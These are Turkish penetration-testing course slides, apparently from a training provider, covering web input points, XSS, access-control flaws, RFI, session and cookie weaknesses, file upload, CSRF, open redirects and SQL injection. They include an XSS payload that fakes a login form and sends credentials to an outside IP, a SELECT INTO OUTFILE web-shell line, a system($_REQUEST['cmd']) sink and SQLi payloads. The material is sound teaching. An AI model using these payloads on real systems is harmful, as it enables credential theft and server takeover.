  • 142. Web Uygulamaları Girdi Noktaları URI Parametreleri HTTP Başlıkları POST Parametreleri
  • 143. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: application/x-www-form-urlencoded • Öntanımlı form verisi encoding formatıdır. POST /User/Update?0.5469181543563653 HTTP/1.1 Host: www.abc.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://www.abc.com/Main Content-Length: 90 Cookie: ASP.NET_SessionId=oibe1hl3eh1yxrh3lljuqcdi Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Adres=Istanbul&Egitim=Lisans&Meslek=Hacker
  • 144. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: text/xml • Web servis isteklerinde karşılaşılır. AJAX, mobil uygulama veya thick client uygulama isteklerinde gözlenebilir. POST /Services/WebService.asmx HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "http://tempuri.org/GetDetail" Content-Length: 296 Host: www.abc.com Proxy-Connection: Keep-Alive User-Agent: Apache-HttpClient/4.1.1 (java 1.5) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:GetDetail> <tem:itemID>100</tem:itemID> </tem:GetDetail> </soapenv:Body> </soapenv:Envelope>
  • 145. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: multipart/form-data • Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype" özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır. <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <title>upload</title> </head> <body> <form action="http://www.btrisk.com" method="post" enctype="multipart/form-data"> <p><input type="text" name="text1" value="test"> <p><input type="file" name="file1"> <p><button type="submit">Submit</button> </form> </body> </html>
  • 146. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: multipart/form-data • Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype" özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır. POST http://www.btrisk.com/ HTTP/1.1 Host: www.btrisk.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------115553026227194 Content-Length: 11848 -----------------------------115553026227194 Content-Disposition: form-data; name="text1" test -----------------------------115553026227194 Content-Disposition: form-data; name="file1"; filename="EÄŸitim Takvimi.xlsx" Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet PK
  • 147. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-type: application/json • Genellikle AJAX istekleri ve yanıtlarında görülür, ancak mobil ve thick client uygulamalarında da rastlanır. JSON formatı hafif (lightweight) olması dolayısıyla web servis yanıtlarında da tercih edilmektedir. POST /api/AnalyticsData/Integration HTTP/1.1 Accept: application/json Content-type: application/json User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Content-Length: 316 Host: www.abc.com Connection: Keep-Alive {"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650 46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
  • 148. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri JSON (JavaScript Object Notation) • JSON formatı JavaScript Object Notation'ın bir alt kümesi olup JavaScript kodları içinde nesne erişimi için kullanılan bir native veri formatıdır. • AJAX isteklerine dönen yanıtlarda sıklıkla kullanılmasının temel nedeni budur. • Ayrıca XML formatına nazaran kullanılan whitespace veri miktarını azalttığı için iletilen veri büyüklüğünün azaltılmasında da fayda sağlar.
  • 149. AJAX AJAX Nedir? AJAX = Asynchronous JavaScript and XML. AJAX'ı anlamak için aşağıdaki konularda temel bilgi sahibi olmak gereklidir: • HTML / XHTML • CSS • JavaScript / DOM
  • 150. AJAX AJAX Nasıl Çalışır? Bir olay oluştuğunda... • XMLHttpRequest nesnesi oluştur • HTTP isteği gönder • Dönen veriyi JavaScript ile işle • Sayfa içeriğini güncelle • HTTP isteğini işle • Bir yanıt oluştur ve tarayıcıya gönder TARAYICI SUNUCU Örneğin bir tuşa basıldığında Örneğin basılan tuşla başlayan illeri listele
  • 151. AJAX Örnek Kod POST /api/AnalyticsData/Integration HTTP/1.1 Accept: application/json Content-type: application/json User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Content-Length: 316 Host: www.abc.com Connection: Keep-Alive {"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650 46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
  • 152. Web Uygulamaları Girdi Noktaları Verilere Erişim Veri Erişimi Değişkenleri $_REQUEST $_GET $_POST $_COOKIE $_SERVER $_ENV URI Parametreleri POST Parametreleri Cookie Değerleri HTTP Başlıkları Çevresel Değişkenler
  • 153. Web Uygulamaları Girdi Noktaları Verilere Erişim Örnek <?php if(isset($_REQUEST['kullaniciAdi'])){ echo 'Hoşgeldin '.$_REQUEST['kullaniciAdi']; } else { echo 'Kullanıcı Adını Giriniz...'; } ?>
  • 154. XSS Açıklıkları XSS Nedir? • Cross Site Scripting'in kısaltmasıdır. CSS "Cascaded Style Sheets" ifadesinin kısaltması olarak kullanıldığından XSS kullanılmıştır. • Tarayıcı üzerinde gelen HTML sayfasının içeriğinde bulunan Javascript (v.d.) script kodlarının çalıştığını görmüştük. • Eğer web uygulaması (örneğin bir php kodu) istemciden gelen bir girdiyi (ör: URI parametresi, POST parametresi, JSON, SOAP v.d. formatlardaki girdiler, cookie değeri, diğer HTTP başlık değerleri) bir girdi kontrolünden geçirmeden ve özel HTML karakterlerini encode etmeden kullanıcıya geri gönderirse ve bu girdi bir script içeriyorsa XSS gerçekleşir.
  • 155. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları 7 1 2 Saldırgan özel URL'i kullanıcıya gönderir 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 Script kullanıcının tarayıcısında çalışır 5 KULLANICI SALDIRGAN UYGULAMA
  • 156. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları function bilgiGonder() { var xmlhttp; xmlhttp = new XMLHttpRequest(); var url; url = "http://192.168.2.4/hack.php?gsm=" + document.getElementById('txt_gsm').value + "&password=" + document.getElementById('txt_password').value; xmlhttp.open("GET", url, true); xmlhttp.send(); return true; } var hack_token=document.getElementsByName("txt_token")[0].value; var hack_html='<style>body{visibility:hidden;}</style><div style=visibility:visible; > <form class="form-login" method="post" action="login.php" onsubmit="bilgiGonder();"> <h2 class="form-login-heading">XSS Login</h2></br> <input name="txt_gsm" id="txt_gsm" type="text" class="form-control" placeholder="5XXXXXXXXX" autofocus></br> <input name="txt_password" id="txt_password" type="password" class="form-control" placeholder="Parola"></br> <input type="hidden" name="txt_token" value="'+hack_token+'"> <input type="submit" class="btn btn-block btn-theme" style="background-color: #48bcb4;" value="Giriş"></br> </form> </div>'; document.body.innerHTML=hack_html; XSS PAYLOAD
  • 157. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları Normal Login
  • 158. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları XSS Login Access log kaydı
  • 159. XSS Açıklıkları SINIF TARTIŞMASI • XSS saldırısı sadece URL parametrelerine yönelik mi gerçekleştirilebilir (POST parametresi üzerinden XSS yapılabilir mi)?
  • 160. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları 7 1 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 Script kullanıcının tarayıcısında çalışır 5 KULLANICI SALDIRGAN UYGULAMA 1
  • 161. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları Talep ekranında XSS payload'un girilmesi
  • 162. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları Veritabanına kaydedilen talebin görüntülenmesi
  • 163. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları 7 1 2 Saldırgan özel URL'i kullanıcıya gönderir 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 URL içinde geçen script kodu DOM kullanan Javascript ile HTML'e katılır 5 KULLANICI SALDIRGAN UYGULAMA Yansıtılan XSS'ten farkı; URL içinde geçen script kodunun sunucu uygulaması tarafından değil, sunucunun ürettiği HTML sayfasının içinde zaten var olan Javascript kodu tarafından dinamik olarak HTML'e dahil edilmesidir.
  • 164. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Adresler tanımlama sayfası
  • 165. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Adres güncelleme fonksiyonu
  • 166. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Normal kullanım
  • 167. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları DOM tabanlı XSS'in gerçekleştiği Javascript bölümü
  • 168. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları XSS payload'u
  • 169. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları DOM tabanlı XSS
  • 170. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Standart kullanıcı olarak uygulamaya erişiyoruz
  • 171. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Normalde admin kullanıcı profili ile erişilen URL'i kullandığımızda fonksiyona erişebiliyoruz
  • 172. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Admin kullanıcı profiliyle uygulamaya erişim
  • 173. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura detay görüntüleme linki
  • 174. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Faturanın sistem üzerindeki numarası Bu müşteriye ait telefon numarası
  • 175. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura görüntüleme HTTP isteği
  • 176. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numarasını değiştirerek farklı müşterinin fatura detayını görebiliyoruz
  • 177. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numarasını değiştirerek farklı müşterinin fatura detayını görebiliyoruz
  • 178. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numaraları ve hangi hatlara ait oldukları bilgisi
  • 179. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme GEÇERLİ kullanıcı kodu, hatalı parola
  • 180. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Geçerli kullanıcı kodu, hatalı parola'ya dönen yanıt
  • 181. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme GEÇERSİZ kullanıcı kodu, hatalı parola
  • 182. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Geçersiz kullanıcı kodu, hatalı parola'ya dönen yanıt GÖRÜNÜR BİR FARK YOK !
  • 183. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Ancak dönen yanıtlar arasında 6 byte'lık bir fark var
  • 184. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Aradaki fark HTML encode edilmiş bir boşluk karakterinden kaynaklanıyor "&nbsp;"
  • 185. Erişim Kontrol Açıklıkları Diğer Erişim Kontrol Açıklıklarına Örnekler: • Parola politikası uygulanmaması ve kaba kuvvet saldırıları • Hatalı uygulanan CAPTCHA kontrolü, CAPTCHA imajının robot aracılığı ile okunabilmesi • Referer başlığına güvenen erişim kontrolü • Parola alanlarında "autocomplete=off" özelliğinin kullanılmaması • Tek kullanımlık parola geçerlilik süresinin sınırlandırılmaması
  • 186. Direct Object Access PDF, ofis dokümanı, resim dosyaları gibi statik içerik web sunucu dizinlerinde barındırılırsa bu verilere erişim kontrolü uygulanamayabilir. Bazı platformlar (ASP.NET veya Java framework'leri gibi) tanılanmamış kullanıcıların uygulama dizinleri altındaki herhangi bir dosyaya erişmesine izin vermemektedir. Erişim kontrolü uygulansa bile kontrol sadece tanılanmış ve tanılanmamış kullanıcılar arasında uygulanabilir, dolayısıyla tanılanmış kullanıcılar yine tüm içeriğe erişebilir.
  • 188. Direct Object Access 1.jpg 2.jpg 3.jpg 2. ve 3. isteklerde oturum cookie'si kullanılmaması na rağmen içeriğe erişilebilmiştir.
  • 189. İstemci Taraflı Kontrollerin Aşılması SINIF TARTIŞMASI • İstemci tarafında uygulanan kontrolleri nasıl uygulayabiliriz? • Bu kontroller hangi koşullarda geçersiz kalabilir?
  • 190. İstemci Taraflı Kontrollerin Aşılması Uygulamamız TL transfer fonksiyonunda tutarın negatif olmamasını kontrol ediyor
  • 191. İstemci Taraflı Kontrollerin Aşılması Bu kontrolün Javascript kodu ile yapıldığı anlaşılıyor
  • 192. İstemci Taraflı Kontrollerin Aşılması Kontrolü yapan Javascript kontrolünü dönen yanıttan temizliyoruz Böylece istemci tarafındaki kontrol etkisiz kalacak
  • 193. İstemci Taraflı Kontrollerin Aşılması Javascript kontrolünü ortadan kaldırdıktan sonra tutarı -50 TL olarak gönderiyoruz Tahmin edebileceğiniz gibi önyüzde geçerli bir rakam girip attack proxy'de de bu değişikliği yapabilirdik Şimdi sunucu tarafında da aynı kontrolün uygulanıp uygulanmadığını görelim
  • 194. İstemci Taraflı Kontrollerin Aşılması İşlemimiz başarı ile gerçekleşti ve biz negatif bir para transferi ile bakiyemizi artırdık
  • 195. Remote File Inclusion Çok sık gözlenmemekle birlikte web uygulamalarının parametre olarak aldıkları dosya isimlerini çalışma anında HTML içeriğine dahil ettikleri görülebilir Buradaki örnekte uygulama bir dosya adını parametre olarak alıyor gibi görünüyor Bu adın kök dizinden itibaren tanımlanmış olması uzak dosya dahil etme ihtimalini artırıyor
  • 196. Remote File Inclusion Sayfa kaynak kodunu incelediğimizde bu parametrede belirtilen dosyanın HTML kodu içine dahil edildiğini görüyoruz
  • 197. Remote File Inclusion Bu parametreye kendi kontrol ettiğimiz bir sitede bulunan ve sayfanın cookie'lerini çalarak istediğimiz IP adresine gönderen bir Javascript kodunun adresini yazıyoruz
  • 198. Remote File Inclusion Cookie çalan Javascript kodumuz
  • 199. Remote File Inclusion Kontrol ettiğimiz web sitesine gelen cookie bilgileri
  • 200. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 201. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 202. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 203. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 204. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 205. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  • 206. Uygulama Sunucusu Yönetim Açıklıkları phpMyAdmin
  • 207. SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:wampwwwcmd.php" Uygulama Sunucusu Yönetim Açıklıkları
  • 208. Uygulama Sunucusu Yönetim Açıklıkları
  • 209. Uygulama Sunucusu Yönetim Açıklıkları
  • 210. Uygulama Sunucusu Yönetim Açıklıkları FTP Servisi
  • 211. Uygulama Sunucusu Yönetim Açıklıkları
  • 212. Uygulama Sunucusu Yönetim Açıklıkları JBOSS JMX Console
  • 213. Uygulama Sunucusu Yönetim Açıklıkları JBOSS JMX Console
  • 214. Oturum Yönetim Açıklıkları Oturum Yönetimi • HTTP'nin connectionless bir protokol olması • Kullanıcı tanılama fazlarında oturum parametresinin değişmesi • Oturum parametresinin rassallığı ve anahtar genişliği • Oturum geçerlilik süre sınırı (istemci ve sunucu tarafında) • Güvenli çıkış fonksiyonalitesi
  • 215. Oturum Yönetim Açıklıkları Oturum Parametresi'nin Tanılama Fazlarında Değişimi Anonim Faz PHPSESSID Login Fazı BTRmCookie OTP Fazı 1 2 3
  • 216. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi
  • 217. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi
  • 218. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi PHPSESSID cookie'sini çıkardığımızda uygulama bizi login sayfasına yönlendirdi.
  • 219. SINIF TARTIŞMASI • Oturum parametresinin oturum fazlarında değişmemesi nasıl bir risk doğurur? Oturum Yönetim Açıklıkları SESSION FIXATION
  • 220. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Oturum parametresi olan PHPSESSID cookie'sinin atandığı istekler
  • 221. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Sequencer modülü otomatik olarak rassallık testi yapılabilecek cookie ve parametreleri tanıyabilir, veya biz istediğimiz özel alanı Burp'e tanıtabiliriz.
  • 222. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Sequencer modülü cookie'mizin rassallık değerini çok düşük buldu. cookie değer örneklerimiz
  • 223. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi cookie değerimiz Base64 kodlanmışa benziyor
  • 224. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi cookie değerimiz Base64 kodlanmışa benziyor
  • 225. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi Ardışık cookie değerlerimizi Base64 decode ettiğimizde ardışık artan ondalık sayılar olduğunu görüyoruz.
  • 226. SINIF TARTIŞMASI • Sunucu oturum süre sınırını nasıl test edebiliriz? Oturum Yönetim Açıklıkları
  • 228. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Güvenli Çıkış isteği
  • 229. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Güvenli Çıkış yanıtı
  • 230. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Oturum halen geçerli!
  • 231. Cookie Riskleri Cookie Özellikleri Oturum cookie'miz "httponly" olarak işaretlenmediği için Javascript kodu ile erişilebilir. "secure" olarak işaretlenmediği için HTTP üzerinden iletilebilir.
  • 232. Cookie Riskleri Kalıcı Cookie'ler "BTRmCookie" 2016 yılında expire ettiğinden diske yazılacaktır.
  • 233. Cookie Riskleri Kalıcı Cookie'ler "BTRmCookie" mevcut tarihten bir yıl sonra expire ettiğinden diske yazılacaktır. Bu cookie onaltılık değerler olarak belirtilmiştir.
  • 234. Cookie Riskleri Kalıcı Cookie'ler Bu cookie değerini ASCII HEX decode ettiğimizde içinde telefon numarası ve kullanıcı adı, soyadının tutulduğunu görüyoruz.
  • 235. File Upload Riskleri Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.
  • 236. File Upload Riskleri Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor.
  • 237. File Upload Riskleri Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına yüklendiğini varsayabiliriz.
  • 238. File Upload Riskleri Bu defa bir resim dosyası yerine bir php kodu yükleyeceğiz. Uygulama istemci veya sunucu tarafında uzantı veya içerik kontrolü yapmıyor.
  • 239. File Upload Riskleri Dosya ismi parametresinin değerini "3.jpg"den "webshell.php"ye dönüştürüyoruz.
  • 240. File Upload Riskleri Son olarak bu dosyaya eriştiğimizde PHP kodu çalışıyor ve sunucu üzerinde dilediğimiz kodu çalıştırıyoruz.
  • 241. CSRF Saldırıları TL Transfer isteği Bu isteği üretecek PoC HTML
  • 243. CSRF Saldırıları Görünmeyen iframe'e yüklenecek HTML dosyası (CSRF PoC HTML verisini içerir)
  • 244. CSRF Saldırıları Hedef uygulama açıkken Kullanıcı invisible iframe barındıran csrf.html sayfasını ziyaret eder
  • 245. CSRF Saldırıları Kullanıcı farkında olmadan iletilen istek Dönen başarılı yanıt
  • 246. Redirection Açıklıkları Güvenli çıkış düğmesine tıkladığımızda karşımıza login sayfası geliyor. Bu isteği inceleyelim.
  • 247. Redirection Açıklıkları Bu düğme tıklandığında yapılan isteğin "loginpage" adında bir parametre aldığını ve bu parametrenin de "login.php" olduğunu görüyoruz.
  • 248. Redirection Açıklıkları "logout.php" sayfasına giden isteği bu şekilde düzenlediğimizde bizi bu sayfaya da yönlendirecek mi bakalım.
  • 250. Redirection Açıklıkları Sonuç umduğumuz gibi oldu, bizi http://www.btrisk.com adresine yönlendiriyor.
  • 252. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonu hassas parametreleri URL içinde iletiyor
  • 253. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonu hassas parametreleri URL içinde iletiyor
  • 254. SINIF TARTIŞMASI • URL içinde hassas bilgi iletilmesinin doğurabileceği riskler nelerdir? URL ve Referer Başlığında Sızan Bilgiler
  • 255. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonuna yapılan isteğe dönen HTML yanıtı içinde www.btrisk.com alanında bulunan bir resim dosyasına link görülüyor
  • 256. URL ve Referer Başlığında Sızan Bilgiler Bu resim dosyasına yapılan istek mesajının "Referer" başlığı içinde hassas bilgileri içeren URL bilgisi görülüyor
  • 257. URL ve Referer Başlığında Sızan Bilgiler
  • 258. URL ve Referer Başlığında Sızan Bilgiler www.btrisk.com alanından çekilen resim görüntüsü
  • 259. HTML Comment Bölümlerinde Sızan Hassas Bilgiler Çok sık olmasa da özellikle uygulama geliştirme süreci ve testler sırasında HTML yorum alanlarında yerleştirilmiş olan hassas bilgiler üretim ortamlarında da unutulabilmektedir Bu durumu test etmek için elbette sayfa kaynak kodlarını incelemek gerekecektir
  • 260. HTML Comment Bölümlerinde Sızan Hassas Bilgiler OTP sayfasının kaynak kodunda OTP kodunun yorum alanında istemciye iletildiğini görüyoruz (Not: Bu alan eğitim uygulamamızın telefon ekranı görüntüsünde görülen OTP koduyla ilişkili bir alan değildir)
  • 261. HTML Comment Bölümlerinde Sızan Hassas Bilgiler Burp'ün yorum satırlarını otomatik olarak ayrıştırabilmesi sayesinde yorum satırlarını daha kolay inceleyebilirsiniz
  • 262. HACKING'İN ALTIN KURALI #2 (MANTIK ve ERİŞİM KONTROL HATALARI DIŞINDAKİ TEKNİK HATALAR İÇİN) EĞER BİR SİSTEMİ HACK'LEYEBİLİYORSANIZ O SİSTEME HATA ALDIRABİLİRSİNİZ DOLAYISIYLA BİR SİSTEME HATA ALDIRABİLİYORSANIZ O SİSTEMİ HACK'LEME İHTİMALİNİZ VARDIR HACKING
  • 263. Hata Ele Alma Hata Ele Alma Riskleri: • Web sunucusu, uygulama sunucusu ve uygulama içinde hata ele alma ve özel hata mesajları (custom error messages) kullanılmaması, veya • Uygulama tarafından ele alınan hatalar için teknik hata mesajlarının kullanıcıya görüntülenmesi olası saldırganların işini kolaylaştıracaktır. • Hacking'in Altın Kuralı #2 gereği hata oluşması halinde uygulamanın hack'lenmesi ihtimali doğacaktır. Hata mesajlarının zengin biçimde kullanıcıya aktarılması ise saldırı yöntemlerinin kısa zamanda etkili hale getirilmesine büyük yardımda bulunacaktır.
  • 264. Command Injection system($_REQUEST['cmd']); Kod Injection eval($dinamikkod); Uygulama Sunucusu Katmanı Injection Açıklıkları Hangi tür web uygulamalarında bu tür fonkisyonaliteye ihtiyaç duyarsınız?
  • 265. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular Girdi Kontrolü Mantık Hataları WEB UYGULAMA MİMARİSİ
  • 266. SQL Injection Saldırıları SQL (Structured Query Language) Nedir? Data Definition Language (DDL) • CREATE (ör: CREATE TABLE Kullanici (KullaniciID int, KullaniciAdi varchar(255));) • ALTER (ör: ALTER TABLE Kullanici ADD Adres varchar(255);) • DROP (ör: DROP TABLE Kullanici;) Data Control Language (DCL) • GRANT (ör: GRANT SELECT, INSERT, UPDATE, DELETE ON Kullanici TO bozgenc;) • REVOKE (ör: REVOKE SELECT ON Kullanici FROM public;) Data Transaction Language (DTL) • START TRANSACTION • SAVEPOINT • COMMIT • ROLLBACK [TO SAVEPOINT]
  • 267. SQL Injection Saldırıları SQL (Structured Query Language) Nedir? Data Query Language (DQL) • SELECT (detaylı şekilde açıklayacağız) • SHOW • HELP Data Manipulation Language (DML) • INSERT (ör: INSERT INTO Kullanici (KullaniciAdi, Adres) VALUES ('akara','Istanbul');) • UPDATE (ör: UPDATE Kullanici SET Adres='Ankara' WHERE KullaniciID=26;) • DELETE (ör: DELETE FROM Kullanici WHERE KullaniciID=999;)
  • 268. SQL Injection Saldırıları SINIF TARTIŞMASI • Bir pentest uzmanı SQL'i neden iyi bilmelidir (veya gerektiğinde hızlıca hatırlayabilmelidir)?
  • 269. SQL Injection Saldırıları SELECT İfadesi SELECT kolon adları FROM tablo_adı WHERE kolon_adı operatör değer; ör: SELECT no, password FROM kullanicilar WHERE no = '5550000001'; WHERE koşul örnekleri: WHERE kolon_adı LIKE pattern (ör: WHERE no LIKE '555%') WHERE kolon_adı IN (değer1,değer2,...) (ör: WHERE no IN ('5550000001', '5550000002')) WHERE kolon_adı BETWEEN değer1 ANDdeğer2; (ör WHERE no BETWEEN '5550000001' AND'5550000999') WHERE koşul örnekleri
  • 270. (Birden fazla tablodan bilgi çekme) JOIN örnekleri: SELECT kolon adları FROM tablo1 INNER JOIN tablo2 ON tablo1.kolon_adı=tablo2.kolon_adı; Örnek ("alias" kullanımı ile birlikte): SELECT T1.Ad, T2.HesapNo FROM Musteri T1 INNER JOIN Hesap T2 ON T1.MusteriNo=T2.MusteriNo; SQL Injection Saldırıları SELECT İfadesi (Birden fazla tablodan bilgi çekme) JOIN örneği: Örnek ("alias" kullanımı ile birlikte):
  • 271. SQL Injection Saldırıları SELECT İfadesi (Aggregate) FonksiyonKullanım örnekleri: SELECT COUNT(*) FROM tablo adı; SELECT kolon_adı, aggregate_fonksiyon(kolon_adı) FROM tablo_adı WHERE kolon_adı operatör değer GROUP BY kolon_adı; Örnek: SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi FROM Hesap WHERE HesapTipi='VadesizMevduat' GROUP BY MusteriNo (Aggregate) Fonksiyon Kullanım örnekleri: Örnek:
  • 272. SQL Injection Saldırıları SELECT İfadesi HAVING koşulu:Aggregatefonksiyonlar ile birlikteWHERE koşulu kullanılamadığındanSQL dilineHAVING koşulu eklenmiştir. SELECT column_name, aggregate_function(column_name) FROM table_name WHERE column_nameoperator value GROUP BY column_name HAVING aggregate_function(column_name) operator value; Örnek: SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi FROM Hesap WHERE HesapTipi='VadesizMevduat' GROUP BY MusteriNo HAVING COUNT(HesapNo) >3; HAVING koşulu: Aggregate fonksiyonlar ile birlikte WHERE koşulu kullanılamadığından SQL diline HAVING koşulu eklenmiştir. Örnek:
  • 273. Payload: 1 OR 1=1# SQL Injection Saldırıları SQL Injection'a giriş SQL Injection'a giriş SELECT * FROM fatura_detay WHERE fatura_id=$id Payload: 1 OR 1=1# SELECT * FROM fatura_detay WHERE fatura_id=1 OR 1=1# (tüm faturaları gösterir) ya da girdi tipi string ise "SELECT * FROM fatura_detay WHERE fatura_id='".$id."'" Payload: 1' OR 1=1# SELECT * FROM fatura_detay WHERE fatura_id='1' OR 1=1# Tüm faturaları gösterir ya da girdi tipi string ise Payload: 1' OR 1=1#
  • 274. SQL Injection Saldırıları UNION ve SQL injection açısından önemi UNION ve SQL injection açısından önemi Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize yardımcı olabilir SELECT kolon adları FROM tablo1 UNION ALL SELECT kolon adları FROM tablo2; Ön koşullar: Diğer tablo ve alan adlarının bilinmesi UNION yapılacak bir önceki SELECT ifadesindeki kolon adları ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize yardımcı olabilir. Ön Koşullar: • Diğer tablo ve alan adlarının bilinmesi • UNION yapılacak bir önceki SELECT ifadesindeki kolon adları ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması
